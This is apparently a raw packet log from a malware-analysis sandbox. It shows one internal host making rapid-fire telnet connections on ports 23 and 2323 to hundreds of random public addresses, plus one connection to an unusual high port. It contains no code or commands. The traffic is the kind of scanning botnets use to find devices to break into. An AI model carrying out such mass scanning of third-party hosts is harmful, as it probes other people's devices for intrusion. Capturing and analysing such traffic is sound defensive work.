Jul 26, 2024 17:42:00.344150066 CEST	13638	23	192.168.2.15	63.200.126.12
Jul 26, 2024 17:42:00.344149113 CEST	13638	23	192.168.2.15	18.67.76.126
Jul 26, 2024 17:42:00.344149113 CEST	13638	23	192.168.2.15	46.168.107.117
Jul 26, 2024 17:42:00.344149113 CEST	13638	23	192.168.2.15	49.65.143.161
Jul 26, 2024 17:42:00.344163895 CEST	13638	2323	192.168.2.15	122.160.172.172
Jul 26, 2024 17:42:00.344171047 CEST	13638	23	192.168.2.15	96.176.217.206
Jul 26, 2024 17:42:00.344182968 CEST	13638	23	192.168.2.15	48.69.247.241
Jul 26, 2024 17:42:00.344221115 CEST	13638	23	192.168.2.15	163.202.59.154
Jul 26, 2024 17:42:00.344223022 CEST	13638	23	192.168.2.15	125.233.143.121
Jul 26, 2024 17:42:00.344223022 CEST	13638	23	192.168.2.15	210.239.11.169
Jul 26, 2024 17:42:00.344223022 CEST	13638	23	192.168.2.15	223.145.219.151
Jul 26, 2024 17:42:00.344227076 CEST	13638	23	192.168.2.15	75.71.82.86
Jul 26, 2024 17:42:00.344270945 CEST	13638	23	192.168.2.15	139.48.194.106
Jul 26, 2024 17:42:00.344294071 CEST	13638	23	192.168.2.15	218.233.125.5
Jul 26, 2024 17:42:00.344294071 CEST	13638	23	192.168.2.15	20.17.59.129
Jul 26, 2024 17:42:00.344297886 CEST	13638	23	192.168.2.15	105.46.55.4
Jul 26, 2024 17:42:00.344310999 CEST	13638	23	192.168.2.15	170.16.26.38
Jul 26, 2024 17:42:00.344315052 CEST	13638	2323	192.168.2.15	47.88.233.221
Jul 26, 2024 17:42:00.344322920 CEST	13638	23	192.168.2.15	106.247.170.43
Jul 26, 2024 17:42:00.344335079 CEST	13638	23	192.168.2.15	188.190.35.2
Jul 26, 2024 17:42:00.344336987 CEST	13638	23	192.168.2.15	91.55.61.191
Jul 26, 2024 17:42:00.344337940 CEST	13638	23	192.168.2.15	178.183.80.193
Jul 26, 2024 17:42:00.344341993 CEST	13638	23	192.168.2.15	151.82.150.240
Jul 26, 2024 17:42:00.344351053 CEST	13638	23	192.168.2.15	158.187.164.155
Jul 26, 2024 17:42:00.344362974 CEST	13638	23	192.168.2.15	88.145.182.89
Jul 26, 2024 17:42:00.344372988 CEST	13638	23	192.168.2.15	91.241.19.158
Jul 26, 2024 17:42:00.344402075 CEST	13638	2323	192.168.2.15	155.209.226.138
Jul 26, 2024 17:42:00.344402075 CEST	13638	23	192.168.2.15	74.96.124.167
Jul 26, 2024 17:42:00.344403982 CEST	13638	23	192.168.2.15	168.82.162.230
Jul 26, 2024 17:42:00.344407082 CEST	13638	23	192.168.2.15	144.122.173.68
Jul 26, 2024 17:42:00.344423056 CEST	13638	23	192.168.2.15	144.82.4.235
Jul 26, 2024 17:42:00.344430923 CEST	13638	23	192.168.2.15	5.225.27.112
Jul 26, 2024 17:42:00.344434023 CEST	13638	23	192.168.2.15	119.187.184.185
Jul 26, 2024 17:42:00.344444036 CEST	13638	23	192.168.2.15	69.11.22.77
Jul 26, 2024 17:42:00.344466925 CEST	13638	2323	192.168.2.15	142.42.239.69
Jul 26, 2024 17:42:00.344474077 CEST	13638	23	192.168.2.15	159.22.166.228
Jul 26, 2024 17:42:00.344480038 CEST	13638	23	192.168.2.15	9.41.182.68
Jul 26, 2024 17:42:00.344485044 CEST	13638	23	192.168.2.15	209.254.16.104
Jul 26, 2024 17:42:00.344491005 CEST	13638	23	192.168.2.15	223.2.204.167
Jul 26, 2024 17:42:00.344496012 CEST	13638	23	192.168.2.15	8.114.77.112
Jul 26, 2024 17:42:00.344508886 CEST	13638	23	192.168.2.15	101.142.103.249
Jul 26, 2024 17:42:00.344516993 CEST	13638	2323	192.168.2.15	124.13.145.80
Jul 26, 2024 17:42:00.344517946 CEST	13638	23	192.168.2.15	182.206.149.124
Jul 26, 2024 17:42:00.344517946 CEST	13638	23	192.168.2.15	52.39.0.90
Jul 26, 2024 17:42:00.344517946 CEST	13638	23	192.168.2.15	205.86.164.46
Jul 26, 2024 17:42:00.344525099 CEST	13638	23	192.168.2.15	154.69.157.126
Jul 26, 2024 17:42:00.344530106 CEST	13638	23	192.168.2.15	94.28.79.48
Jul 26, 2024 17:42:00.344547987 CEST	13638	23	192.168.2.15	147.14.251.120
Jul 26, 2024 17:42:00.344548941 CEST	13638	23	192.168.2.15	76.241.17.13
Jul 26, 2024 17:42:00.344563961 CEST	13638	23	192.168.2.15	83.144.99.111
Jul 26, 2024 17:42:00.344572067 CEST	13638	23	192.168.2.15	188.205.241.183
Jul 26, 2024 17:42:00.344577074 CEST	13638	23	192.168.2.15	117.109.21.20
Jul 26, 2024 17:42:00.344579935 CEST	13638	23	192.168.2.15	65.14.4.240
Jul 26, 2024 17:42:00.344603062 CEST	13638	23	192.168.2.15	124.227.195.84
Jul 26, 2024 17:42:00.344604969 CEST	13638	23	192.168.2.15	17.90.54.230
Jul 26, 2024 17:42:00.344610929 CEST	13638	23	192.168.2.15	166.62.113.85
Jul 26, 2024 17:42:00.344641924 CEST	13638	23	192.168.2.15	58.142.153.230
Jul 26, 2024 17:42:00.344645977 CEST	13638	23	192.168.2.15	63.56.199.99
Jul 26, 2024 17:42:00.344652891 CEST	13638	23	192.168.2.15	107.21.37.94
Jul 26, 2024 17:42:00.344660044 CEST	13638	23	192.168.2.15	97.194.237.234
Jul 26, 2024 17:42:00.344662905 CEST	13638	23	192.168.2.15	94.83.72.8
Jul 26, 2024 17:42:00.344662905 CEST	13638	2323	192.168.2.15	17.105.234.213
Jul 26, 2024 17:42:00.344666004 CEST	13638	23	192.168.2.15	132.219.119.152
Jul 26, 2024 17:42:00.344674110 CEST	13638	2323	192.168.2.15	144.147.20.228
Jul 26, 2024 17:42:00.344674110 CEST	13638	23	192.168.2.15	155.157.88.254
Jul 26, 2024 17:42:00.344675064 CEST	13638	23	192.168.2.15	117.17.113.127
Jul 26, 2024 17:42:00.347681999 CEST	2323	13638	175.246.253.122	192.168.2.15
Jul 26, 2024 17:42:00.347687960 CEST	23	13638	101.73.197.120	192.168.2.15
Jul 26, 2024 17:42:00.347698927 CEST	23	13638	179.115.151.122	192.168.2.15
Jul 26, 2024 17:42:00.347737074 CEST	13638	2323	192.168.2.15	175.246.253.122
Jul 26, 2024 17:42:00.347743034 CEST	13638	23	192.168.2.15	101.73.197.120
Jul 26, 2024 17:42:00.347764969 CEST	13638	23	192.168.2.15	179.115.151.122
Jul 26, 2024 17:42:00.347769022 CEST	23	13638	144.33.172.221	192.168.2.15
Jul 26, 2024 17:42:00.347774982 CEST	23	13638	211.120.72.1	192.168.2.15
Jul 26, 2024 17:42:00.347779989 CEST	23	13638	194.120.113.180	192.168.2.15
Jul 26, 2024 17:42:00.347784042 CEST	23	13638	204.185.152.10	192.168.2.15
Jul 26, 2024 17:42:00.347789049 CEST	23	13638	80.29.133.232	192.168.2.15
Jul 26, 2024 17:42:00.347799063 CEST	23	13638	213.106.54.151	192.168.2.15
Jul 26, 2024 17:42:00.347805023 CEST	23	13638	102.250.222.209	192.168.2.15
Jul 26, 2024 17:42:00.347810030 CEST	2323	13638	177.94.165.208	192.168.2.15
Jul 26, 2024 17:42:00.347810984 CEST	13638	23	192.168.2.15	144.33.172.221
Jul 26, 2024 17:42:00.347810984 CEST	13638	23	192.168.2.15	211.120.72.1
Jul 26, 2024 17:42:00.347815990 CEST	13638	23	192.168.2.15	204.185.152.10
Jul 26, 2024 17:42:00.347822905 CEST	23	13638	138.154.141.246	192.168.2.15
Jul 26, 2024 17:42:00.347827911 CEST	23	13638	74.128.222.157	192.168.2.15
Jul 26, 2024 17:42:00.347829103 CEST	13638	23	192.168.2.15	194.120.113.180
Jul 26, 2024 17:42:00.347832918 CEST	23	13638	191.116.157.172	192.168.2.15
Jul 26, 2024 17:42:00.347839117 CEST	23	13638	19.215.203.161	192.168.2.15
Jul 26, 2024 17:42:00.347840071 CEST	13638	23	192.168.2.15	102.250.222.209
Jul 26, 2024 17:42:00.347846031 CEST	23	13638	103.187.206.74	192.168.2.15
Jul 26, 2024 17:42:00.347846031 CEST	13638	23	192.168.2.15	80.29.133.232
Jul 26, 2024 17:42:00.347846031 CEST	13638	23	192.168.2.15	213.106.54.151
Jul 26, 2024 17:42:00.347846031 CEST	13638	2323	192.168.2.15	177.94.165.208
Jul 26, 2024 17:42:00.347852945 CEST	23	13638	39.230.163.238	192.168.2.15
Jul 26, 2024 17:42:00.347862005 CEST	23	13638	133.24.22.139	192.168.2.15
Jul 26, 2024 17:42:00.347867012 CEST	23	13638	107.228.148.188	192.168.2.15
Jul 26, 2024 17:42:00.347870111 CEST	13638	23	192.168.2.15	138.154.141.246
Jul 26, 2024 17:42:00.347870111 CEST	13638	23	192.168.2.15	74.128.222.157
Jul 26, 2024 17:42:00.347871065 CEST	23	13638	130.94.117.27	192.168.2.15
Jul 26, 2024 17:42:00.347875118 CEST	13638	23	192.168.2.15	19.215.203.161
Jul 26, 2024 17:42:00.347879887 CEST	2323	13638	67.160.16.34	192.168.2.15
Jul 26, 2024 17:42:00.347884893 CEST	23	13638	138.224.244.61	192.168.2.15
Jul 26, 2024 17:42:00.347888947 CEST	13638	23	192.168.2.15	191.116.157.172
Jul 26, 2024 17:42:00.347889900 CEST	13638	23	192.168.2.15	107.228.148.188
Jul 26, 2024 17:42:00.347889900 CEST	13638	23	192.168.2.15	39.230.163.238
Jul 26, 2024 17:42:00.347889900 CEST	13638	23	192.168.2.15	130.94.117.27
Jul 26, 2024 17:42:00.347894907 CEST	13638	23	192.168.2.15	103.187.206.74
Jul 26, 2024 17:42:00.347897053 CEST	13638	23	192.168.2.15	133.24.22.139
Jul 26, 2024 17:42:00.347906113 CEST	23	13638	17.121.93.76	192.168.2.15
Jul 26, 2024 17:42:00.347912073 CEST	13638	2323	192.168.2.15	67.160.16.34
Jul 26, 2024 17:42:00.347918987 CEST	23	13638	44.79.122.144	192.168.2.15
Jul 26, 2024 17:42:00.347924948 CEST	23	13638	131.119.172.119	192.168.2.15
Jul 26, 2024 17:42:00.347933054 CEST	13638	23	192.168.2.15	138.224.244.61
Jul 26, 2024 17:42:00.347939014 CEST	13638	23	192.168.2.15	17.121.93.76
Jul 26, 2024 17:42:00.347953081 CEST	13638	23	192.168.2.15	44.79.122.144
Jul 26, 2024 17:42:00.347956896 CEST	13638	23	192.168.2.15	131.119.172.119
Jul 26, 2024 17:42:00.348453999 CEST	23	13638	103.64.199.60	192.168.2.15
Jul 26, 2024 17:42:00.348459005 CEST	23	13638	213.174.101.73	192.168.2.15
Jul 26, 2024 17:42:00.348464012 CEST	2323	13638	45.56.59.253	192.168.2.15
Jul 26, 2024 17:42:00.348469019 CEST	46390	38241	192.168.2.15	94.156.71.55
Jul 26, 2024 17:42:00.348489046 CEST	13638	23	192.168.2.15	103.64.199.60
Jul 26, 2024 17:42:00.348489046 CEST	13638	2323	192.168.2.15	45.56.59.253
Jul 26, 2024 17:42:00.348507881 CEST	13638	23	192.168.2.15	213.174.101.73
Jul 26, 2024 17:42:00.349574089 CEST	23	13638	73.161.60.217	192.168.2.15
Jul 26, 2024 17:42:00.349579096 CEST	23	13638	128.50.47.70	192.168.2.15
Jul 26, 2024 17:42:00.349590063 CEST	23	13638	130.69.15.88	192.168.2.15
Jul 26, 2024 17:42:00.349594116 CEST	23	13638	139.103.184.207	192.168.2.15
Jul 26, 2024 17:42:00.349605083 CEST	23	13638	14.150.216.58	192.168.2.15
Jul 26, 2024 17:42:00.349608898 CEST	23	13638	208.201.12.21	192.168.2.15
Jul 26, 2024 17:42:00.349617958 CEST	23	13638	153.120.13.66	192.168.2.15
Jul 26, 2024 17:42:00.349620104 CEST	13638	23	192.168.2.15	73.161.60.217
Jul 26, 2024 17:42:00.349622011 CEST	23	13638	82.120.114.143	192.168.2.15
Jul 26, 2024 17:42:00.349625111 CEST	13638	23	192.168.2.15	128.50.47.70
Jul 26, 2024 17:42:00.349632978 CEST	23	13638	104.221.246.202	192.168.2.15
Jul 26, 2024 17:42:00.349637985 CEST	23	13638	112.78.227.20	192.168.2.15
Jul 26, 2024 17:42:00.349647999 CEST	23	13638	63.232.182.106	192.168.2.15
Jul 26, 2024 17:42:00.349653006 CEST	2323	13638	207.165.224.67	192.168.2.15
Jul 26, 2024 17:42:00.349661112 CEST	13638	23	192.168.2.15	14.150.216.58
Jul 26, 2024 17:42:00.349663973 CEST	13638	23	192.168.2.15	153.120.13.66
Jul 26, 2024 17:42:00.349668980 CEST	23	13638	186.184.242.10	192.168.2.15
Jul 26, 2024 17:42:00.349669933 CEST	13638	23	192.168.2.15	130.69.15.88
Jul 26, 2024 17:42:00.349669933 CEST	13638	23	192.168.2.15	82.120.114.143
Jul 26, 2024 17:42:00.349674940 CEST	23	13638	135.193.196.53	192.168.2.15
Jul 26, 2024 17:42:00.349677086 CEST	13638	23	192.168.2.15	208.201.12.21
Jul 26, 2024 17:42:00.349677086 CEST	13638	23	192.168.2.15	104.221.246.202
Jul 26, 2024 17:42:00.349679947 CEST	23	13638	179.28.151.12	192.168.2.15
Jul 26, 2024 17:42:00.349683046 CEST	13638	23	192.168.2.15	139.103.184.207
Jul 26, 2024 17:42:00.349683046 CEST	13638	23	192.168.2.15	112.78.227.20
Jul 26, 2024 17:42:00.349684000 CEST	23	13638	32.112.195.224	192.168.2.15
Jul 26, 2024 17:42:00.349685907 CEST	13638	2323	192.168.2.15	207.165.224.67
Jul 26, 2024 17:42:00.349687099 CEST	13638	23	192.168.2.15	63.232.182.106
Jul 26, 2024 17:42:00.349689960 CEST	23	13638	122.12.11.12	192.168.2.15
Jul 26, 2024 17:42:00.349694967 CEST	23	13638	128.150.86.107	192.168.2.15
Jul 26, 2024 17:42:00.349697113 CEST	13638	23	192.168.2.15	186.184.242.10
Jul 26, 2024 17:42:00.349699974 CEST	23	13638	169.246.67.186	192.168.2.15
Jul 26, 2024 17:42:00.349704027 CEST	23	13638	164.17.195.191	192.168.2.15
Jul 26, 2024 17:42:00.349710941 CEST	23	13638	48.162.228.32	192.168.2.15
Jul 26, 2024 17:42:00.349715948 CEST	23	13638	47.242.240.153	192.168.2.15
Jul 26, 2024 17:42:00.349715948 CEST	13638	23	192.168.2.15	179.28.151.12
Jul 26, 2024 17:42:00.349716902 CEST	13638	23	192.168.2.15	135.193.196.53
Jul 26, 2024 17:42:00.349721909 CEST	23	13638	76.129.67.28	192.168.2.15
Jul 26, 2024 17:42:00.349728107 CEST	23	13638	212.231.165.159	192.168.2.15
Jul 26, 2024 17:42:00.349733114 CEST	2323	13638	213.91.172.40	192.168.2.15
Jul 26, 2024 17:42:00.349733114 CEST	13638	23	192.168.2.15	32.112.195.224
Jul 26, 2024 17:42:00.349735975 CEST	23	13638	5.36.37.64	192.168.2.15
Jul 26, 2024 17:42:00.349742889 CEST	23	13638	139.137.80.83	192.168.2.15
Jul 26, 2024 17:42:00.349745989 CEST	13638	23	192.168.2.15	128.150.86.107
Jul 26, 2024 17:42:00.349746943 CEST	23	13638	157.185.75.1	192.168.2.15
Jul 26, 2024 17:42:00.349747896 CEST	13638	23	192.168.2.15	122.12.11.12
Jul 26, 2024 17:42:00.349751949 CEST	13638	23	192.168.2.15	169.246.67.186
Jul 26, 2024 17:42:00.349751949 CEST	13638	23	192.168.2.15	48.162.228.32
Jul 26, 2024 17:42:00.349751949 CEST	13638	23	192.168.2.15	164.17.195.191
Jul 26, 2024 17:42:00.349762917 CEST	13638	23	192.168.2.15	47.242.240.153
Jul 26, 2024 17:42:00.349765062 CEST	13638	23	192.168.2.15	76.129.67.28
Jul 26, 2024 17:42:00.349766016 CEST	13638	23	192.168.2.15	212.231.165.159
Jul 26, 2024 17:42:00.349775076 CEST	13638	23	192.168.2.15	157.185.75.1
Jul 26, 2024 17:42:00.349786043 CEST	13638	2323	192.168.2.15	213.91.172.40
Jul 26, 2024 17:42:00.349786043 CEST	13638	23	192.168.2.15	5.36.37.64
Jul 26, 2024 17:42:00.349798918 CEST	13638	23	192.168.2.15	139.137.80.83
Jul 26, 2024 17:42:00.349854946 CEST	2323	13638	134.147.151.186	192.168.2.15
Jul 26, 2024 17:42:00.349859953 CEST	23	13638	204.105.85.219	192.168.2.15
Jul 26, 2024 17:42:00.349899054 CEST	13638	2323	192.168.2.15	134.147.151.186
Jul 26, 2024 17:42:00.349900007 CEST	13638	23	192.168.2.15	204.105.85.219
Jul 26, 2024 17:42:00.350074053 CEST	23	13638	200.38.118.56	192.168.2.15
Jul 26, 2024 17:42:00.350080013 CEST	23	13638	75.207.105.16	192.168.2.15
Jul 26, 2024 17:42:00.350089073 CEST	23	13638	32.216.13.226	192.168.2.15
Jul 26, 2024 17:42:00.350094080 CEST	23	13638	101.131.171.82	192.168.2.15
Jul 26, 2024 17:42:00.350102901 CEST	23	13638	41.8.45.233	192.168.2.15
Jul 26, 2024 17:42:00.350106955 CEST	23	13638	177.140.240.133	192.168.2.15
Jul 26, 2024 17:42:00.350117922 CEST	13638	23	192.168.2.15	200.38.118.56
Jul 26, 2024 17:42:00.350121021 CEST	13638	23	192.168.2.15	75.207.105.16
Jul 26, 2024 17:42:00.350128889 CEST	13638	23	192.168.2.15	101.131.171.82
Jul 26, 2024 17:42:00.350133896 CEST	23	13638	95.48.41.119	192.168.2.15
Jul 26, 2024 17:42:00.350138903 CEST	23	13638	81.65.171.69	192.168.2.15
Jul 26, 2024 17:42:00.350141048 CEST	13638	23	192.168.2.15	41.8.45.233
Jul 26, 2024 17:42:00.350148916 CEST	23	13638	68.73.111.189	192.168.2.15
Jul 26, 2024 17:42:00.350153923 CEST	23	13638	121.128.50.207	192.168.2.15
Jul 26, 2024 17:42:00.350158930 CEST	13638	23	192.168.2.15	32.216.13.226
Jul 26, 2024 17:42:00.350158930 CEST	13638	23	192.168.2.15	177.140.240.133
Jul 26, 2024 17:42:00.350159883 CEST	23	13638	190.145.55.168	192.168.2.15
Jul 26, 2024 17:42:00.350164890 CEST	23	13638	116.62.30.161	192.168.2.15
Jul 26, 2024 17:42:00.350174904 CEST	13638	23	192.168.2.15	95.48.41.119
Jul 26, 2024 17:42:00.350179911 CEST	13638	23	192.168.2.15	121.128.50.207
Jul 26, 2024 17:42:00.350188971 CEST	2323	13638	104.51.39.116	192.168.2.15
Jul 26, 2024 17:42:00.350192070 CEST	13638	23	192.168.2.15	68.73.111.189
Jul 26, 2024 17:42:00.350192070 CEST	13638	23	192.168.2.15	81.65.171.69
Jul 26, 2024 17:42:00.350193977 CEST	23	13638	148.255.118.124	192.168.2.15
Jul 26, 2024 17:42:00.350198030 CEST	23	13638	13.77.4.30	192.168.2.15
Jul 26, 2024 17:42:00.350203037 CEST	23	13638	142.163.177.165	192.168.2.15
Jul 26, 2024 17:42:00.350207090 CEST	23	13638	130.255.251.222	192.168.2.15
Jul 26, 2024 17:42:00.350207090 CEST	13638	23	192.168.2.15	190.145.55.168
Jul 26, 2024 17:42:00.350210905 CEST	23	13638	2.8.105.139	192.168.2.15
Jul 26, 2024 17:42:00.350215912 CEST	23	13638	165.73.69.7	192.168.2.15
Jul 26, 2024 17:42:00.350220919 CEST	23	13638	222.206.196.63	192.168.2.15
Jul 26, 2024 17:42:00.350230932 CEST	23	13638	222.110.63.208	192.168.2.15
Jul 26, 2024 17:42:00.350233078 CEST	13638	23	192.168.2.15	148.255.118.124
Jul 26, 2024 17:42:00.350236893 CEST	23	13638	146.214.168.149	192.168.2.15
Jul 26, 2024 17:42:00.350244999 CEST	23	13638	46.68.72.224	192.168.2.15
Jul 26, 2024 17:42:00.350245953 CEST	13638	23	192.168.2.15	116.62.30.161
Jul 26, 2024 17:42:00.350246906 CEST	13638	2323	192.168.2.15	104.51.39.116
Jul 26, 2024 17:42:00.350246906 CEST	13638	23	192.168.2.15	13.77.4.30
Jul 26, 2024 17:42:00.350248098 CEST	13638	23	192.168.2.15	130.255.251.222
Jul 26, 2024 17:42:00.350249052 CEST	13638	23	192.168.2.15	142.163.177.165
Jul 26, 2024 17:42:00.350250006 CEST	2323	13638	185.153.216.230	192.168.2.15
Jul 26, 2024 17:42:00.350265026 CEST	23	13638	124.105.56.237	192.168.2.15
Jul 26, 2024 17:42:00.350265980 CEST	13638	23	192.168.2.15	222.110.63.208
Jul 26, 2024 17:42:00.350270033 CEST	13638	23	192.168.2.15	2.8.105.139
Jul 26, 2024 17:42:00.350272894 CEST	13638	23	192.168.2.15	222.206.196.63
Jul 26, 2024 17:42:00.350272894 CEST	13638	23	192.168.2.15	146.214.168.149
Jul 26, 2024 17:42:00.350272894 CEST	13638	23	192.168.2.15	165.73.69.7
Jul 26, 2024 17:42:00.350275993 CEST	23	13638	9.110.192.143	192.168.2.15
Jul 26, 2024 17:42:00.350282907 CEST	13638	23	192.168.2.15	46.68.72.224
Jul 26, 2024 17:42:00.350298882 CEST	13638	23	192.168.2.15	124.105.56.237
Jul 26, 2024 17:42:00.350301027 CEST	13638	2323	192.168.2.15	185.153.216.230
Jul 26, 2024 17:42:00.350408077 CEST	13638	23	192.168.2.15	9.110.192.143
Jul 26, 2024 17:42:00.351135015 CEST	23	13638	169.94.30.123	192.168.2.15
Jul 26, 2024 17:42:00.351140976 CEST	23	13638	194.149.205.73	192.168.2.15
Jul 26, 2024 17:42:00.351151943 CEST	23	13638	53.219.75.70	192.168.2.15
Jul 26, 2024 17:42:00.351156950 CEST	23	13638	130.244.246.135	192.168.2.15
Jul 26, 2024 17:42:00.351166010 CEST	23	13638	64.17.70.201	192.168.2.15
Jul 26, 2024 17:42:00.351170063 CEST	23	13638	190.245.92.216	192.168.2.15
Jul 26, 2024 17:42:00.351191044 CEST	13638	23	192.168.2.15	169.94.30.123
Jul 26, 2024 17:42:00.351191998 CEST	13638	23	192.168.2.15	194.149.205.73
Jul 26, 2024 17:42:00.351197004 CEST	13638	23	192.168.2.15	130.244.246.135
Jul 26, 2024 17:42:00.351198912 CEST	13638	23	192.168.2.15	53.219.75.70
Jul 26, 2024 17:42:00.351212025 CEST	13638	23	192.168.2.15	64.17.70.201
Jul 26, 2024 17:42:00.351241112 CEST	13638	23	192.168.2.15	190.245.92.216
Jul 26, 2024 17:42:00.351275921 CEST	23	13638	208.229.66.167	192.168.2.15
Jul 26, 2024 17:42:00.351280928 CEST	23	13638	133.34.62.142	192.168.2.15
Jul 26, 2024 17:42:00.351291895 CEST	2323	13638	112.58.217.239	192.168.2.15
Jul 26, 2024 17:42:00.351296902 CEST	23	13638	193.0.122.232	192.168.2.15
Jul 26, 2024 17:42:00.351300955 CEST	23	13638	64.224.25.205	192.168.2.15
Jul 26, 2024 17:42:00.351305962 CEST	23	13638	18.187.67.118	192.168.2.15
Jul 26, 2024 17:42:00.351315022 CEST	23	13638	178.170.130.222	192.168.2.15
Jul 26, 2024 17:42:00.351320028 CEST	23	13638	35.233.186.242	192.168.2.15
Jul 26, 2024 17:42:00.351324081 CEST	13638	23	192.168.2.15	133.34.62.142
Jul 26, 2024 17:42:00.351324081 CEST	13638	23	192.168.2.15	208.229.66.167
Jul 26, 2024 17:42:00.351330996 CEST	13638	23	192.168.2.15	64.224.25.205
Jul 26, 2024 17:42:00.351332903 CEST	23	13638	24.163.7.104	192.168.2.15
Jul 26, 2024 17:42:00.351331949 CEST	13638	2323	192.168.2.15	112.58.217.239
Jul 26, 2024 17:42:00.351331949 CEST	13638	23	192.168.2.15	193.0.122.232
Jul 26, 2024 17:42:00.351334095 CEST	13638	23	192.168.2.15	18.187.67.118
Jul 26, 2024 17:42:00.351339102 CEST	2323	13638	98.14.147.45	192.168.2.15
Jul 26, 2024 17:42:00.351347923 CEST	23	13638	101.160.205.197	192.168.2.15
Jul 26, 2024 17:42:00.351351976 CEST	23	13638	4.43.63.38	192.168.2.15
Jul 26, 2024 17:42:00.351365089 CEST	13638	23	192.168.2.15	35.233.186.242
Jul 26, 2024 17:42:00.351365089 CEST	13638	23	192.168.2.15	24.163.7.104
Jul 26, 2024 17:42:00.351367950 CEST	13638	23	192.168.2.15	178.170.130.222
Jul 26, 2024 17:42:00.351367950 CEST	13638	2323	192.168.2.15	98.14.147.45
Jul 26, 2024 17:42:00.351392031 CEST	13638	23	192.168.2.15	4.43.63.38
Jul 26, 2024 17:42:00.351397038 CEST	13638	23	192.168.2.15	101.160.205.197
Jul 26, 2024 17:42:00.351536036 CEST	23	13638	12.52.98.179	192.168.2.15
Jul 26, 2024 17:42:00.351541042 CEST	23	13638	175.224.118.32	192.168.2.15
Jul 26, 2024 17:42:00.351551056 CEST	23	13638	73.148.107.119	192.168.2.15
Jul 26, 2024 17:42:00.351556063 CEST	23	13638	65.199.136.48	192.168.2.15
Jul 26, 2024 17:42:00.351560116 CEST	23	13638	196.25.30.232	192.168.2.15
Jul 26, 2024 17:42:00.351563931 CEST	23	13638	156.13.110.119	192.168.2.15
Jul 26, 2024 17:42:00.351572990 CEST	23	13638	93.109.236.121	192.168.2.15
Jul 26, 2024 17:42:00.351577997 CEST	2323	13638	65.72.146.61	192.168.2.15
Jul 26, 2024 17:42:00.351577044 CEST	13638	23	192.168.2.15	12.52.98.179
Jul 26, 2024 17:42:00.351582050 CEST	23	13638	138.56.164.127	192.168.2.15
Jul 26, 2024 17:42:00.351587057 CEST	23	13638	154.160.129.254	192.168.2.15
Jul 26, 2024 17:42:00.351591110 CEST	13638	23	192.168.2.15	175.224.118.32
Jul 26, 2024 17:42:00.351593018 CEST	13638	23	192.168.2.15	73.148.107.119
Jul 26, 2024 17:42:00.351593018 CEST	13638	23	192.168.2.15	196.25.30.232
Jul 26, 2024 17:42:00.351593018 CEST	13638	23	192.168.2.15	156.13.110.119
Jul 26, 2024 17:42:00.351608992 CEST	13638	23	192.168.2.15	93.109.236.121
Jul 26, 2024 17:42:00.351608992 CEST	13638	2323	192.168.2.15	65.72.146.61
Jul 26, 2024 17:42:00.351612091 CEST	13638	23	192.168.2.15	65.199.136.48
Jul 26, 2024 17:42:00.351630926 CEST	13638	23	192.168.2.15	138.56.164.127
Jul 26, 2024 17:42:00.351639032 CEST	13638	23	192.168.2.15	154.160.129.254
Jul 26, 2024 17:42:00.351878881 CEST	23	13638	44.15.198.70	192.168.2.15
Jul 26, 2024 17:42:00.351885080 CEST	23	13638	104.169.89.58	192.168.2.15
Jul 26, 2024 17:42:00.351896048 CEST	23	13638	187.156.200.87	192.168.2.15
Jul 26, 2024 17:42:00.351926088 CEST	13638	23	192.168.2.15	44.15.198.70
Jul 26, 2024 17:42:00.351953030 CEST	13638	23	192.168.2.15	187.156.200.87
Jul 26, 2024 17:42:00.351969957 CEST	23	13638	13.209.165.80	192.168.2.15
Jul 26, 2024 17:42:00.351975918 CEST	23	13638	35.241.49.7	192.168.2.15
Jul 26, 2024 17:42:00.351979971 CEST	2323	13638	46.151.12.36	192.168.2.15
Jul 26, 2024 17:42:00.351984024 CEST	23	13638	103.73.25.158	192.168.2.15
Jul 26, 2024 17:42:00.351985931 CEST	13638	23	192.168.2.15	104.169.89.58
Jul 26, 2024 17:42:00.351994038 CEST	23	13638	13.221.125.200	192.168.2.15
Jul 26, 2024 17:42:00.351999044 CEST	23	13638	117.130.42.209	192.168.2.15
Jul 26, 2024 17:42:00.352008104 CEST	23	13638	173.183.38.46	192.168.2.15
Jul 26, 2024 17:42:00.352013111 CEST	23	13638	8.66.93.246	192.168.2.15
Jul 26, 2024 17:42:00.352015018 CEST	13638	2323	192.168.2.15	46.151.12.36
Jul 26, 2024 17:42:00.352016926 CEST	23	13638	183.152.213.173	192.168.2.15
Jul 26, 2024 17:42:00.352021933 CEST	23	13638	183.24.65.17	192.168.2.15
Jul 26, 2024 17:42:00.352026939 CEST	13638	23	192.168.2.15	13.209.165.80
Jul 26, 2024 17:42:00.352026939 CEST	13638	23	192.168.2.15	103.73.25.158
Jul 26, 2024 17:42:00.352031946 CEST	23	13638	74.43.159.118	192.168.2.15
Jul 26, 2024 17:42:00.352036953 CEST	23	13638	184.243.43.59	192.168.2.15
Jul 26, 2024 17:42:00.352036953 CEST	13638	23	192.168.2.15	13.221.125.200
Jul 26, 2024 17:42:00.352041960 CEST	23	13638	142.34.166.220	192.168.2.15
Jul 26, 2024 17:42:00.352046967 CEST	23	13638	196.114.94.135	192.168.2.15
Jul 26, 2024 17:42:00.352051973 CEST	23	13638	186.79.252.201	192.168.2.15
Jul 26, 2024 17:42:00.352056026 CEST	13638	23	192.168.2.15	117.130.42.209
Jul 26, 2024 17:42:00.352056980 CEST	2323	13638	89.140.64.89	192.168.2.15
Jul 26, 2024 17:42:00.352057934 CEST	13638	23	192.168.2.15	183.152.213.173
Jul 26, 2024 17:42:00.352057934 CEST	13638	23	192.168.2.15	35.241.49.7
Jul 26, 2024 17:42:00.352058887 CEST	13638	23	192.168.2.15	184.243.43.59
Jul 26, 2024 17:42:00.352061987 CEST	23	13638	95.164.90.7	192.168.2.15
Jul 26, 2024 17:42:00.352061987 CEST	13638	23	192.168.2.15	173.183.38.46
Jul 26, 2024 17:42:00.352061987 CEST	13638	23	192.168.2.15	8.66.93.246
Jul 26, 2024 17:42:00.352066994 CEST	23	13638	123.135.53.161	192.168.2.15
Jul 26, 2024 17:42:00.352070093 CEST	13638	23	192.168.2.15	183.24.65.17
Jul 26, 2024 17:42:00.352072001 CEST	23	13638	123.231.175.123	192.168.2.15
Jul 26, 2024 17:42:00.352077007 CEST	23	13638	128.163.75.226	192.168.2.15
Jul 26, 2024 17:42:00.352086067 CEST	23	13638	95.147.204.45	192.168.2.15
Jul 26, 2024 17:42:00.352091074 CEST	23	13638	149.132.173.245	192.168.2.15
Jul 26, 2024 17:42:00.352092028 CEST	13638	23	192.168.2.15	142.34.166.220
Jul 26, 2024 17:42:00.352092981 CEST	13638	23	192.168.2.15	186.79.252.201
